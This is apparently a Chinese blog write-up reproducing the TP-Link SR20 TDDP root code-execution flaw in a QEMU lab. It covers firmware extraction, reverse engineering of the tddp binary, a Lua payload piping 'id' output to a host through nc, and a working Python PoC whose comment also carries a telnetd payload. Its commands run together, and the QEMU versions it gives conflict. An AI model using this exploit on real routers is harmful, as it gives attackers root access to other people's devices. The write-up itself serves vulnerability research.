「物聯網漏洞復現」TP-Link SR20 本地網絡遠程代碼執行漏洞

2020-12-06 華雲安

TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物聯網協議可以用來當控制中樞 Hub 的觸屏 Wi-Fi 路由器,此遠程代碼執行漏洞允許用戶在設備上以 root 權限執行任意命令,該漏洞存在於 TP-Link 設備調試協議(TP-Link Device Debug Protocol 英文簡稱 TDDP) 中,TDDP 是 TP-Link 申請了專利的調試協議,基於 UDP 運行在 1040 埠。

TP-Link SR20 設備運行了 V1 版本的 TDDP 協議,V1 版本無需認證,只需往 SR20 設備的 UDP 1040 埠發送數據,且數據的第二字節為 0x31 時,SR20 設備會連接發送該請求設備的 TFTP 服務下載相應的文件並使用 LUA 解釋器以 root 權限來執行,這就導致存在遠程代碼執行漏洞。

01

搭建環境

以下所有操作都在Ubuntu LTS 18.04系統下進行

安裝編譯QEMU

Qemu 是純以GPL許可證分發源碼的模擬處理器,在GNU/Linux平臺上使用廣泛。幾乎可以模擬任何硬體設備。

從 QEMU 官網下載最新穩定版源碼來編譯安裝

wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下載源碼tar xvJf qemu-4.0.0-rc1.tar.xz #解壓源碼壓縮包cd qemu-4.0.0-rc1 # 進入源碼目錄./configure --target-list=arm-softmmu --audio-drv-list=alsa,pa # 編譯前配置make # 編譯

如果 configure 時沒有指定 target-list參數,make 會編譯針對所有平臺的 QEMU 導致會耗很長很長的時間,因此可以選擇只編譯 ARM 版的 QEMU 來加快編譯速度,至於選擇 ARM 版是因為 TP-Link SR20 存在漏洞的固件基於是 ARM 架構,下文中會看到。

編譯完成後安裝 checkinstall 來生成 deb 包

sudo apt-get install checkinstall # 安裝 checkinstallsudo checkinstall make install # 使用 checkinstall 生成 deb 包並安裝

如果不使用 checkinstall,直接sudo make install的會把 qemu 安裝在多個位置,如果發生錯誤不方便刪除,所以使用 checkinstall 生成 deb 包方便安裝和卸載。

安裝完成後可以看到安裝的版本

安裝 Binwalk

Binwalk 是一款文件的分析工具,旨在協助研究人員對文件進行分析,提取及逆向工程。

sudo apt install gitgit clone https://github.com/ReFirmLabs/binwalkcd binwalkpython setup.py installsudo ./deps.sh $ Debian/Ubuntu 系統用戶可以直接使用 deps.sh 腳本安裝所有的依賴

更詳細的安裝方法可以查看 Binwalk 的 GitHub wiki

https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md

最後運行deps.sh安裝依賴時,cramfstools 編譯出錯導致安裝失敗,可以不用理會。

固件提取

從 TP-Link SR20 設備官網下載固件:https://www.tp-link.com/us/support/download/sr20/#Firmware

選擇SR20(US)_V1_180518進行下載解壓得到tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin固件。

使用binwalk查看固件信息

binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin

binwalk 會在當前目錄的 _+bin文件名 目錄下生成提取出來的固件裡的所有內容,進入到該目錄

squashfs-root 目錄就是我們需要的固件文件系統

在該文件系統目錄下查找存在漏洞的 tddp 文件並查看文件類型可以看到該文件是一個 ARM 架構的小端32 位 ELF 文件。

最高有效位 MSB 對應大端,最低有效位 LSB對應小端。

https://www.cnblogs.com/endure/p/3425140.html(相關知識)

經過測試發現通過這種方式運行 TDDP 程序並不能觸發該漏洞,因此需要搭建完整的 ARM QEMU 虛擬機環境。

搭建ARM QEMU虛擬環境

從 Debian 官網(https://people.debian.org/~aurel32/qemu/armhf/)下載 QEMU 需要的 Debian ARM 系統的三個文件:

debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229Minitrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2Mvmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M

把以上三個文件放在同一目錄下,並執行以下命令

sudo tunctl -t tap0 -u iot # 為了與 QEMU 虛擬機通信,添加一個虛擬網卡,iot為本機名字sudo ifconfig tap0 10.10.10.1/24 # 為添加的虛擬網卡配置 IP 地址qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

虛擬機啟動成功後會提示登陸

輸入用戶名和密碼:root登錄

配置網卡IP

ifconfig eth0 10.10.10.2/24

此時 QEMU 虛擬機可以與宿主機進行網絡通信

現在需要把從固件中提取出的文件系統打包後上傳到 QEMU 虛擬機中

壓縮固件文件系統目錄下的整個文件

tar -cjpf squashfs-root.tar.bz2 squashfs-root/

使用 Python 搭建簡易 HTTP Server

python -m SimpleHTTPServer

在 QEMU 虛擬機中下載上面打包好的文件

wget http://10.10.10.1:8000/squashfs-root.tar.bz2

使用 chroot 切換根目錄固件文件系統

tar -xjf squashfs-root.tar.bz2mount -o bind /dev ./squashfs-root/dev/mount -t proc /proc/ ./squashfs-root/proc/chroot squashfs-root sh

# 切換根目錄後執行新目錄結構下的 sh shell

使用 chroot 後,系統讀取的是新根下的目錄和文件,也就是固件的目錄和文件 chroot 默認不會切換 /dev 和 /proc, 因此切換根目錄前需要現掛載這兩個目錄。

搭建 TFTP Server

在宿主機安裝 atftpd 搭建 TFTP 服務。

sudo apt install atftpd

編輯 /etc/default/atftpd 文件,USE_INETD=true 改為 USE_INETD=false修改 /srv/tftp 為 /tftpboot

執行命令

mkdir /tftpbootchmod 777 /tftpbootsudo systemctl start atftpd # 啟動 atftpdsudo systemctl status atftpd # 查看 atftpd 服務狀態

環境搭建完畢。

02

TDDP協議漏洞的逆向研究

使用IDA對該協議漏洞進行逆向分析。

過程

使用binwalk將固件中的文件提取出來,將squashfs-root下的/usr/bin目錄下的tddp程序放入IDA中加載。

通過反編譯分析,找到main函數為sub_971C,在main函數中,可推測sub_16C90函數是用來獲取v4值的,繼續看下面的函數,可預估函數sub_936C是關鍵函數。

跟進sub_936C函數,在18行處可以看到輸出了tddp task start,確認進入到了關鍵函數中,可以看到,在20到23行應該是進行了內存初始化以及socket的初始化,將套接字綁定到了1040埠。

接著看該函數的後邊,看到在55行if處判定為真時,使用了函數sub_16418,猜測該函數是關鍵函數。

跟進該函數,在32行處發現使用了recvfrom函數,該函數是從套接口上接收數據,並捕獲數據發送源的地址。且在poc中也使用了該函數從套接口接收數據,所以判定正確進入了關鍵函數。

接著看在32行變量v18使用recvfrom接收了套接口的數據,從(char*)v14的45083偏移處取的數據。

繼續看後邊,在取得套接口的數據存在v18後,變量v2也取的地址v20,v20取(char*)v14的45083偏移處取的數據,從recvfrom函數猜測(char*)v14的45083偏移處取的數據是對應TDDP協議的第一個字節。

根據TDDP協議存在兩個版本,該協議規定第一個字節處為version,即版本。而該協議存在漏洞的版本是version為1的時候,不需要進行身份的認證即可對設備進行調試。得出在38行對v2,即TDDP協議第一個字節處的version進行判斷是否為1時,判斷正確後下邊執行的函數中存在關鍵函數。

此處猜測sub_9340是關鍵函數。

跟進函數sub_9340,發現是使用了gettimeofday函數來獲取當前時間,則判定該函數非關鍵函數,退回到上一函數sub_16418,猜測函數sub_15E74為關鍵函數。

跟進sub_15E74函數,發現在該函數中輸出了receive CMD_AUTO_TEST,猜測在該函數中調用了命令執行,判定進入了正確的關鍵函數。

本來switch下的每一個case都應該查看分析的,但因為知道了存在漏洞的case在0x31處,所以直接分析case 0x31處的情況。

在85行就break了,所以可以鎖定關鍵函數步驟出現在sub_A580函數處。

跟進sub_A580函數,在變量中可以看到v8從a1,v19獲取了(char*)v8的45083偏移處取的數據,即從套接口獲取的數據。

繼續看下邊,在57行處,使用了sscanf對v19,即套機口得到的數據,用分號進行了分隔,再傳入s與v10中。在65行處,使用了inet_ntoa函數,猜測此處即是獲取了ip地址再用點隔成字符串格式給了v16。

函數sub_91DC使用了tftp從s和v16拼接成的數據作為地址進行了連接和下載相應文件的操作。將下載的文件名字與/tmp進行拼接,變為/tmp/下載文件名存入&name中。

在83行,使用luaL_loadfile從&name處加載調用了lua腳本。

進入sub_91DC函數進行查看,通過分析,可以確定此處使用了execve執行了命令,可確定就是此處可構成命令執行。

至此,TDDP協議漏洞分析結束。

03

漏洞復現

在 atftp 的根目錄 /tftpboot 下寫入 payload 文件。因此處無tftpboot目錄,所以直接在根目錄下創建一個tftpboot目錄,以便後續操作。

在tftpboot目錄下寫入payload文件。payload 文件內容為:

functionconfig_test(config)os.execute("id | nc 10.10.10.1 1337")end

將poc拷貝進tftpboot目錄下

Poc代碼:

#!/usr/bin/python3# Copyright 2019 Google LLC.# SPDX-License-Identifier: Apache-2.0# Create a file in your tftp directory with the following contents:##function config_test(config)# os.execute("telnetd -l /bin/login.sh")#end## Execute script as poc.py remoteaddr filenameimport sysimport binasciiimport socketport_send = 1040port_receive = 61000tddp_ver = "01"tddp_command = "31"tddp_req = "01"tddp_reply = "00"tddp_padding = "%0.16X" % 00tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock_receive.bind(('', port_receive))# Send a requestsock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)packet = binascii.unhexlify(tddp_packet)argument = "%s;arbitrary" % sys.argv[2]packet = packet + argument.encode()sock_send.sendto(packet, (sys.argv[1], port_send))sock_send.close()response, addr = sock_receive.recvfrom(1024)r = response.encode('hex')print(r)

復現步驟為:

1.QEMU 虛擬機中啟動 tddp 程序

2.宿主機使用 NC 監聽埠

3.執行 POC

獲取命令執行結果

相關焦點

  • 「漏洞預警」Apache Solr Velocity模板遠程代碼執行復現
    漏洞背景近日,國外安全研究員s00py公開了一個Apache Solr的Velocity模板注入的漏洞。該漏洞可以攻擊最新版本的Solr,目前該漏洞利用詳情已經廣泛流傳於Github以及各大安全群,且公開的EXP可以執行任意命令並自帶回顯,官方暫未發布補丁。
  • GoAhead Web Server遠程代碼執行漏洞分析(附PoC)
    原標題:GoAhead Web Server遠程代碼執行漏洞分析(附PoC) 本文是關於GoAhead web server遠程代碼執行漏洞(CVE-2017-17562)的分析,該漏洞源於在初始化CGI腳本環境時使用了不受信的HTTP請求參數,會對所有啟用了動態連結可執行文件(CGI腳本)的用戶造成影響。
  • 深入解讀:Windows HTTP.sys遠程代碼執行漏洞跟蹤進展
    2010-09-14 Microsoft IIS FastCGI請求頭遠程溢出漏洞(MS10-065)(CVE-2010-2730)描述:對於啟用了FastCGI功能的IIS伺服器,遠程攻擊者可以通過提交特製的HTTP請求觸發緩衝區溢出,導致執行任意代碼。攻擊者可以遠程執行任意代碼。2.
  • 【安全風險通告】GoAhead Web Server遠程代碼執行漏洞安全風險通告
    GoAhead Web Server 在處理具有多個Content-Disposition頭的multi-part/form-data請求時存在釋放後重用漏洞,該漏洞允許未授權的攻擊者通過發送特製的 GET 或 POST請求從而在受影響設備上遠程執行任意代碼,建議客戶儘快自查修復該漏洞。
  • Ripple20:Treck TCP / IP堆棧上發現的19個漏洞詳述
    這導致TCP / IP堆棧設備的兩個獨立分支–一個由Treck管理,另一個由Elmic Systems管理,在報告漏洞之前,他們之間沒有合作。今將詳細內容轉譯過來,期盼為物聯網從業者提供一些拋磚引玉之用吧。Ripple20是在Treck TCP / IP堆棧上發現的19個漏洞的集合。Ripple20漏洞中有四個被評為嚴重,CVSS得分超過9,並且啟用了遠程執行代碼。
  • 谷歌Chrome 瀏覽器發現執行任意代碼高危漏洞
    谷歌在本周二的公告中披露了 Chrome 瀏覽器五個高度嚴重的漏洞。根據與應用程式相關的特權,攻擊者可以查看,更改或刪除數據 。據谷歌稱,成功利用其中最嚴重的漏洞可能使攻擊者能夠在瀏覽器的上下文中執行任意代碼。以下是漏洞詳情:漏洞詳情1.
  • 微軟發8月補丁修9漏洞 DLL劫持漏洞未修復
    據360安全專家介紹,微軟本月修復的漏洞主要影響Windows XP系統用戶,絕大多數為遠程代碼執行漏洞,而這類漏洞通常被黑客用於掛馬網頁及惡意郵件攻擊。微軟公告顯示,9月漏洞補丁中,有8款用於修復各版本作業系統和應用程式的遠程代碼執行漏洞,1款用於修復Windows客戶伺服器運行時子系統(CSRSS)本地權限提升漏洞。
  • 金山毒霸:Windows遠程桌面漏洞可致伺服器被入侵-Windows,遠程...
    如果用戶使用Internet Explorer查看特製網頁,這些漏洞允許遠程執行代碼。攻擊者成功利用漏洞合成可以獲得當前用戶相同的用戶權限。那些帳戶被配置擁有較少系統用戶權限的用戶比具有管理用戶權限的用戶操作影響要小。
  • Apache Solr Velocity模板注入遠程命令執行漏洞
    0x01 漏洞詳情該漏洞的產生原因:攻擊者可以直接訪問solr admin頁面,並可以通過構造post請求來修改節點的配置.Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定模版,默認設置是
  • Apache Solr 爆遠程執行漏洞,請立即限制對外埠
    近日,GitHub代碼中安全研究員S00pY發布一個Apache Solr Velocity模版注入遠程命令執行的POC,該漏洞通過WEB遠程執行,攻擊利用簡易,危害重點。截止目前該漏洞還未上報獲得PVE編號,Solr官方也沒有任何漏洞的補丁,建議使用Solr的用戶通過策略性設置封禁8983埠埠對外開放,以防止被人攻擊。漏洞介紹:Velocity Java 模板引擎: Velocity是一個基於Java的模板引擎。它允許任何人使用簡單但功能強大的模板語言來引用Java代碼中定義的對象。
  • 2020HW期間公布漏洞總結(附部分漏洞Poc、Exp)
    12.ThinkPHP3.x注入漏洞13.用友GRP-u8 SQL注入14.泛微雲橋任意文件讀取15.聯軟準入文件上傳漏洞16.奇治堡壘機 Python代碼注入17.用友GRP-u8 命令執行漏洞18.Nagios命令執行19.Weblogic遠程命令執行20.網御星雲VPN老版本漏洞21.拓爾思5.0文件讀取漏洞
  • GoAheadWeb伺服器曝安全漏洞,上萬臺物聯網設備受影響
    主打最簡單的代碼,以便捷性和快速度取勝。GoAhead Web伺服器是世界上最受歡迎的物聯網微型嵌入式Web伺服器,應用於數億個物聯網智能設備中。GoAhead主要特點是開源、輕巧、功能強大,代碼簡潔明了,可移植性強,能夠在Linux、VxWorks和Windows等多個平臺使用,它可以運行在印表機、路由器、交換機、IP電話等聯網設備上,深受各大硬體廠商的歡迎。
  • Treck TCP/IP Stack 中的新漏洞影響了數百萬個 IoT 設備
    美國網絡安全基礎設施和安全局(CISA)警告稱,Treck 開發的一個低級 TCP/IP 軟體庫存在嚴重漏洞,遠程攻擊者可以運行任意命令並發動拒絕服務(DoS)攻擊。
  • 雲安全日報201124:IBM API雲平臺發現任意代碼執行和安全繞過漏洞...
    11月23日,IBM發布了安全公告,API Connect容易受到Drupal中任意代碼執行和安全繞過的攻擊。以下是漏洞詳情:漏洞詳情來源:https://www.ibm.com/support/pages/node/62403101.CVE-2020-13664 CVSS評分:8.8 高Drupal是使用PHP語言編寫的開源內容管理框架
  • 用哪種語言寫的應用漏洞最嚴重?六大主流語言代碼漏洞分析報告出爐
    Veracode 首席研究官 Chris Eng 解釋了不同語言漏洞趨勢不同的原因,以及如何修復它們以避免嚴重損失。 「從整體數據上看,我們這個行業過去十年來沒能消除任何一種漏洞類別。」Eng 說,「沒有任何問題完全消失。很多事情都在波動,但看看平均情況,你會發現相比於其它指標,這些數據更能反映語言選擇和語言流行程度的變化。
  • 360助力微軟擒獲潛伏19年「長老」漏洞
    ,可能引發攻擊者的惡意代碼得到執行,安裝惡意程序或竊取、篡改用戶的隱私數據。影響作業系統:Windows XP/2003/Vista/20084、微軟Internet信息服務(IIS) FTP伺服器遠程代碼執行漏洞安全公告:MS11-004;知識庫編號:KB2489256;級別:危急描述:本補丁修復了微軟Internet信息服務(IIS)的FTP伺服器組件中存在的一處已經被公開披露的安全漏洞,當存在漏洞的IIS FTP
  • PHP文件包含漏洞利用思路與Bypass總結手冊(二)
    Session利用介紹了用戶會話的存儲和處理機制後,我們就可以去深入的理解session文件包含漏洞。LFI本地文件包含漏洞主要是包含本地伺服器上存儲的一些文件,例如Session會話文件、日誌文件、臨時文件等。但是,只有我們能夠控制包含的文件存儲我們的惡意代碼才能拿到伺服器權限。
  • 「預警信息」關於SaltStack多個高危漏洞的預警通報
    近日,奇安信CERT監測到國外安全團隊披露出了SaltStack框架存在三個安全漏洞:認證繞過高危漏洞(CVE-2020-25592)、命令注入高危漏洞(CVE-2020-16846)和邏輯高危漏洞(CVE-2020-17490)。
  • TP-LINK路由器不想花錢買域名控制權 這樣真的好嗎?
    一旦這一漏洞被黑客利用,後果將不堪設想,該路由器的用戶安全將會受到極大威脅。正在用路由器連wifi的你是不是很害怕?    在這個「沒有wifi就會死」的時代下,TP-LINK的每次風吹草動都能引發熱烈關注,配置域名tplinklogin.net和tplinkextender.net一直都是TP-LINK的專屬原配,這次兩個域名一同「出走」,也是一大熱點了。
  • 永恆之藍下載器木馬新增BlueKeep漏洞檢測代碼,未修複比例...
    永恆之藍下載器木馬新增BlueKeep漏洞檢測代碼,未修複比例高達近30% 近日,騰訊安全御見威脅情報中心監測發現,「永恆之藍下載器」木馬再次更新,新增了BlueKeep漏洞CVE-2019-0708檢測利用功能